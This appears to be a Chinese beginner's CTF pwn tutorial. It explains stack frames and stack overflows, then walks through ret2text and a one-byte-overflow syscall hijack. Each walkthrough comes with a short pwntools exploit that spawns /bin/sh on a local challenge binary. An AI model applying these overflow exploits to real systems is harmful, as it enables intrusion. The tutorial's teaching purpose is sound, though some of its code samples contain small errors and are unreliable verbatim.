序言:写这系列文章是对我这段时间学习栈的一个深刻的总结,作为一个入门系列的文章如果可以启发一些师傅pwn方向的灵感就更好了

前置知识

这里只讲解漏洞利用核心的函数调用规范,最大程度确保我们的理解在同一个水平,但还要掌握一点的逆向能力(能做出来逆向的新生赛的签到题),一定的c语言知识,会使用pwntools等相关工具,以及一定的汇编基础(知道add,sub,jmp,push,pop指令的意义,大概知道ip寄存器的工作机制,以及搞清楚内存中的值内存的地址的区别)

简单的函数调用规范讲解:

栈帧及其作用

引入

首先我们看这样一个c语言代码的例子:

#include<stdio.h>

void example_fun()
{
    printf("this is an example\n");
    return 0;
}
int main()
{
    puts("welcome to my blog")
    example_fun();
    return 0;
}

我们都知道应该先执行main函数里面的代码,而不是按照顺序从上到下的先执行example_fun()函数再执行main函数,这个现象蕴含了一个道理:引入函数这一语法后,我们的程序的执行流程就可以不再是按照代码的记录顺序执行,而是分模块地执行,也就是说我的程序在main函数里面执行到一半的时候就可以跑去另一个函数执行,执行完这个函数又可以跑回去之前的执行进度执行代码。但是这个方法是怎么实现的呢,具体的来说:函数是怎么找到之前的执行进度的?又是怎么跑回来相应执行进度的地方继续执行的?

这就涉及到栈帧的知识了

栈帧的定义

接着上文来讲,栈是保存当前正在执行的函数的相应信息(后文会一个个讲哪些信息)的内存空间,我们用两个标志来划分这段空间,这两个标志就是rbp寄存器(栈的底部)和rsp寄存器(栈的头部)。简单的来说:bp寄存器和sp寄存器之间的空间就是栈,无论这段空间开辟在哪里

栈的开辟和销毁

保存上一个函数的信息

我们上面说到了栈是保存当前正在执行的函数的相应信息的空间,但是无论何时栈只有一个(bp寄存器和sp寄存器只有一个),但是函数如果要找到之前的函数执行进度的话不应该要两个栈来保存这些信息吗,还是说我一个栈要保存两个函数的信息?这里其实就涉及到一个很巧妙的保存与还原信息的方法了

随便找一个程序拖进ida看一眼都会发现:调用一个函数在本质的汇编层面都是call func_name这条指令,call等价于push rip+jmp fun_name 而我们的cpu会从ip寄存器拿取将要执行的指令,拿完后程序会把下一条指令(代码段的下一条,所以没有jmp这样的指令的话代码就会一条一条的执行下去的)放进ip寄存器后才会开始执行指令,所以在执行call指令的时候,ip寄存器里面实际上是call的物理相邻的下一条指令,所以push rip的效果就是让我们的栈上保存了这个函数相应执行进度的地方的信息(因为执行完call之后本来就应该执行call的下一条指令)

一个函数的信息除了指令的执行状态外还有这个函数的栈帧状态,所以我们下一步要做的就是保存这个函数的栈帧了。方法也很简单,就是保存上一个函数的bp寄存器的值(因为在函数实际执行的过程中我们并不关心寄存器的地址是什么,我们只关心寄存器里面的值是什么,而bp寄存器标记的是栈帧的尾部,实际上就是保存了这个栈内存空间结束的空间的地址,所以我们才说bp寄存器指向栈的基地址)。到此为止,上一个函数的所有需要的信息都以及保存完毕了,然后我们就用mov rbp,rsp来初始化栈帧,再用sub rsp,xxx来分配新的栈空间准备执行下一个函数。

从当前函数返回到上一个函数

当执行完一个函数后,我们就需要返回到上一个函数了,此时计算机就需要还原上一个函数的信息,也就是逆着把上面的保存上一个函数的信息的步骤执行一遍。我们任然要先初始化当前栈帧,同样是mov rbp,rsp命令,然后再pop rbp把上一个函数的栈基址还原,为了简洁与形象的理解,科学家把刚才的两个指令合并为一个leave指令,然后再pop rip(汇编语法中没有这种指令,是非法的),让计算机去执行原本的call之后本来应该执行的call的下一条指令,同样为了形象理解,我们将这个整体的指令设计为为ret指令。

感兴趣的师傅可以去思考一下为什么我们在保存与还原栈信息的时候都只保存了bp寄存器的值而没有去保存sp寄存器的值以此来理解栈作为一种先进后出的数据结构的特点。

让我用图示配合指令来串联一下上面的概念:

当主函数调用另一个函数时的过程如下:

注释:这里的DATA是main函数之前的栈的基址,为了与其他栈上的数据区分开来而特意用了大写,用箭头是为了区别:bp寄存器里面存的是保存DATA的内存的地址,而不是DATA的值本身。

注意:栈是从低地址向高地址生长的

  1. 执行 CALL 指令前:
    | main的栈帧  |  <- RSP
    |     data   | 
    |     data   |  
    |     DATA   |  <-RBP
    
  2. CALL 指令后 (等价于 PUSH RIP + JMP):
    |            |
    |   返回地址  |  <- RSP  
    | main的栈帧  | 
    |     data   | 
    |     data   |  
    |     DATA   |  <-RBP
    
  3. PUSH RBP后:
    |    DATA    |  <-RBP
    |   返回地址  |  <- RSP 
    | main的栈帧 | 
    |     data   | 
    |     data   |  
    |     DATA   |  
    
  4. MOV RBP, RSP后:
    |    DATA    |  <-RBP,rsp
    |   返回地址  |   
    | main的栈帧 | 
    |     data   | 
    |     data   |  
    |     DATA   | 
    
  5. SUB RSP, xxx后 (分配新栈帧空间):
    |     局     |  <- RSP
    |     部     |   
    |     变     |
    |     量     |                
    |    DATA    |   <-RBP
    |   返回地址  |    
    | main的栈帧  | 
    |    data    | 
    |    data    |  
    |    DATA    | 
    
  6. LEAVE后 (初始化当前栈帧并还原上一个栈帧):
    |   返回地址  |     <-RSP
    | main的栈帧 | 
    |     data   | 
    |     data   |  
    |     DATA   | 
    
  7. RET后(返回上一个函数的指令执行状态)
    | main的栈帧  |  <-RSP
    |     data   | 
    |     data   |  
    |     DATA   |
    

攻击原理

我们要执行一个攻击需要一个程序的漏洞:栈溢出。也就是我们输入的数据大于了用户定义的局部变量的大小,导致溢出覆盖了其他变量的内存空间,比如:

#include<stdio.h>
int main()
{
    char a[100];
    read(0,a,101);
    return 0;
}

这个程序输入的数据大于了本来的局部变量的大小,导致溢出覆盖了局部变量的空间之外的栈空间,因为我们只定义了一个这个空间,那么这个溢出的数据就会覆盖下面的bp,导致程序崩溃(因为程序无法再还原上一个函数的栈帧了)。我们找漏洞的时候很希望程序崩溃(因为这意味着此处的程序有设计不合理的地方),但利用的时候我们希望程序能够正常运行,所以我们需要专门学习一下攻击的具体手法。

攻击手法

这个攻击手法就叫ret2text(ret to text),熟悉逆向的你一定知道text就是代码段的意思,所以这个手法的目的就是让程序在ret的时候返回到我们指定的text段的某个位置(通常是后门函数的位置)

请自行搜索后们函数的相关概念,这里你可以简单的理解为执行了system("/bin/sh")就算完成了攻击,我以wiki rop的例题作为讲解,你可以去该网站自行下载re2text的附件

请你自行完成查保护(即使你现在不知道保护也没关系,只要养成这个好习惯就行了)和逆向的过程,我们只讲解攻击过程

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);  
  setvbuf(_bss_start, 0, 1, 0);  /* 设置缓冲区 */
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4); /* 无限读取数据 */
  printf("Maybe I will tell you next time !");
  return 0;
}

理论

ret2text这个手法蕴含了一个非常深刻且普遍的思想:覆写思想,我们为了达到这个手法的目的就需要把返回地址覆盖成我们指定的text段的某个位置(逆向的过程中你应该发现了存在后门函数call _system),然后我们就能执行system("/bin/sh")命令了(其实你可以感受到我们这里改变了函数的执行流程,也就是涉及到了另一个深刻的思想rop思想,我准备在第三部曲ret2shell中详细讲解这个思想)

剩下的就是:计算我们要输入哪些数据才能覆盖到返回地址,这里给出一种与wiki ctf不一样的简便方法计算方法—gdb调试

首先我们要明确的是:我们应该先把原来的缓冲区(也即是v4的空间)填满然后再填满bp寄存器的空间,然后就可以覆盖返回地址了。

实践

我们用gdb启动程序,在0x080486AE处也就是gets函数处下一个断点,如下图:

gdb


我用蓝色的矩阵方框标出了我们应该关注的信息(用gdb调试的时候需要明确自己要获取哪些信息),gets函数读入数据的地方是0xffffd4ac,bp寄存器的地方是0xffffd518,所以我们要覆盖直到bp寄存器的话就要先填入-(0xffffd4ac-0xffffd518)=108的数据,再填入4字节的数据覆盖bp寄存器,所以exp如下:

from pwn import *
sh = process('./ret2text')
system = 0x804863a  """ 后门函数 """
sh.sendline(b'A' * (108+4) + p32(system))
sh.interactive()

拓展

这里用一个我认为很好的例子来巩固覆写这一个在漏洞利用中无处不在的思想,题目是:2024极客大挑战,因为是64位程序所以需要自行了解下64位系统的传参约定

over 提取码:geek

前置知识之系统调用

这个题目涉及到简单的ret2syscall攻击手法所以我简单的讲解一下前置知识,如果觉得理解困难的话就去搜索这个手法的入门文章来看一下

系统调用可以简单的理解为:我们让操作系统为我们这些用户调用一些我们一般接触不到的内核段的代码,以此执行一些操作硬件的功能(没有系统调用我们就不能与硬件交互)。这个设计的目的之一是:避免用户直接操作硬件这些重要且复杂的部分,提高计算机系统的安全性。

根据我们要使用的硬件的功能不同设计了多种系统调用,我们用系统调用号来区分这些不同的系统调用,我们常用的系统调用(64位系统)是read,write,open,close,execve,对应的系统调用号为0,1,2,3,59(请自行搜索其功能)

我们使用syscall指令来告诉操作系统我们要执行系统调用,系统调用号保存在rax寄存器中,该调用所需的参数从左到右用rdi,rsi,rdx等保存,我们前面说的后门函数system(“/bin/sh”)就是依靠系统调用execve(“/bin/sh”,0,0)来执行的

提示

在讲解这题之前我希望你自己动手去做一下题,因为自己做出一道题比复现几十到同类型的题目更能学到东西,如果你觉得题目对你来说太难那么可以看下这里给的提示:


  1. 前置知识的讲解告诉我们应该想办法执行一些系统调用
  2. 这题不需要任何绕过保护的方法
  3. 其中一个溢出点没用
  4. 阅读汇编会给你一些提示
  5. gdb调试以验证或修改你的想法是很好的手段

下面是关键的提示(不推荐看)


  1. 该题需要利用一字节的溢出,其他的空间来配合这个溢出来进行攻击
  2. /bin/sh\x00字符串似乎刚好就是8个字节

题目分析

漏洞函数

void __fastcall read_from_file()
{
  int v0; // [rsp+Ch] [rbp-114h]
  char v1[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+118h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("please input file name\n>>");
  v0 = read(0, filename, 9uLL);  /* 一字节溢出 */
  if ( filename[v0 - 1] == 10 )  /* 去掉换行符 */
    filename[v0 - 1] = 0;
  if ( !memcmp(filename, "flag", 4uLL) ) /* 禁止操作服务器的flag文件 */
  {
    puts("you must't save flag!");
    exit(0);
  }
  or_file(filename, v1);       /* 文件交互函数 */                
  puts("read success!");
}

逆向分析与漏洞寻找在代码注释中已经给出

or_file函数是内嵌汇编写的无法反编译,我们需要看汇编:

push    rbp
mov     rbp, rsp
mov     [rbp+var_8], rdi
mov     [rbp+var_10], rsi
mov     eax, open_fd
mov     qword ptr ds:ret_vale, rsi
mov     rsi, 41h ; 'A'
xor     rdx, rdx
syscall                 ; LINUX -
mov     rdi, rax
mov     rsi, qword ptr ds:ret_vale
mov     rdx, 100h
mov     qword ptr ds:ret_vale, rax
mov     eax, write_fd
syscall                 ; LINUX -
mov     eax, close_fd
mov     rdi, qword ptr ds:ret_vale
syscall                 ; LINUX -
nop
pop     rbp
retn

第一个系统调用的系统调用号可以被我们的一字节溢出覆写,所以我们可以控制这个系统调用。程序原本的流程是:open(filename,0,0),filename是用户输入的字符串,刚好8字节给我们输入"/bin/sh\x00",于是我们完全可以将这个调用控制为:execv("/bin/sh\x00",0,0),攻击成功

脚本

from pwn import *
io=process('./filename')
context(log_level = 'debug', os = 'linux')



io.sendline(b'2')
io.send(b'/bin/sh\x00' + b'\x3b') """ 一行代码即可攻击成功 """

io.interactive()

总结

我们以ret2text为引例讲解了覆写这种利用思想,用一道与ret2text毫不相关的题目来更深刻的使用了这个思想,在后面的格式化字符串漏洞,花式栈溢出技巧,堆溢出漏洞中都很巧妙的运用了覆写的思想,通过各式各样的使用这个思想来达到一些复杂的攻击结果,我希望大家能感受到计算机中数据的重要性(这样就能更好的感受ret2libc中蕴含的泄露思想的重要性了)。同时,也希望大家从对这些精妙的攻击手法的使用中感受到计算机的美丽的结构以及pwn的魅力